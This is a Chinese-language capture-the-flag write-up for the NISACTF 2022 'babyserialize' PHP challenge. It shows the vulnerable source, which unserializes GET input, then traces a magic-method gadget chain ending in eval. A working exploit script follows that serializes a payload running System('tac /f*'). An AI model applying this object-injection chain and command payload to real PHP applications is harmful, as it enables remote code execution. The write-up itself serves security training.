[NISACTF 2022]babyserialize
源码:
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
我们来理一下
首先我们来找一下尾
这个函数很可疑感觉就是链子的尾部,然后我们看看谁能调用他这个魔术方法的触发方式
invoke魔术方法的触发方式是当类被当成函数去使用的时候会触发
我们往下翻一下看看有没有可以符合条件触发的
我们看到Ilovetxw里面的是有利用触发invoke的里面有tostring魔术方法(当类被当做你字符串输出的时候触发)我们找找看有哪些可以触发
一眼就看到了当fun满足调价fun=sixsixsix且a=new Ilovetxw
我们就可以触发tostring。但是这里有个set魔术方法触发的条件是当给类中不存在或者访问不到的元素赋值的时候触发。我们找找看看有没有赋值的语句
类Ilovetxw里面的huang如果=new four 然后虽然里面有fun但是因为在类的外部所以是访问不了的
这个就可以触发set,那我们就要想办法触发call魔术方法call的触发方法是当类调用不存在的方法的时候被触发
然后我们找一下里面有没有满足条件的
如果让tianwiwei里面的类中的ext=new Ilove的话因为里面没有nisa的方法所以可以实现触发
我们来理一下链子
TianXiWei::__wakeup()->Ilovetxw::__call->four::__set->Ilovetxw::tostring->NISA::__invoke
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever); //1 txw4ever=new Ilovetxw();
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x); //5 ext=new Ilovetxw
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0]; //4 huang=new four
}
public function __toString(){ // 2 su=new four();
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){ //3 a=new Ilovetxw();
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
exp:
wakeup当对象被反序列化的时候被触发
call当访问类里面不存在的方法的时候触发
tostring当类被当成字符串操作的时候被触发
invoke当类被当做函数进行调用的时候被触发
set当给类中一个一个不存在或者不可访问的元素赋值的时候被触发
four::set--ilovetxw::tostring--NISA::invoke
<?php
class NISA{
public $fun="sho";
public $txw4ever="System('tac /f*');";
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$a->ext->huang=$c;
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=$d;
echo urlencode(serialize($a));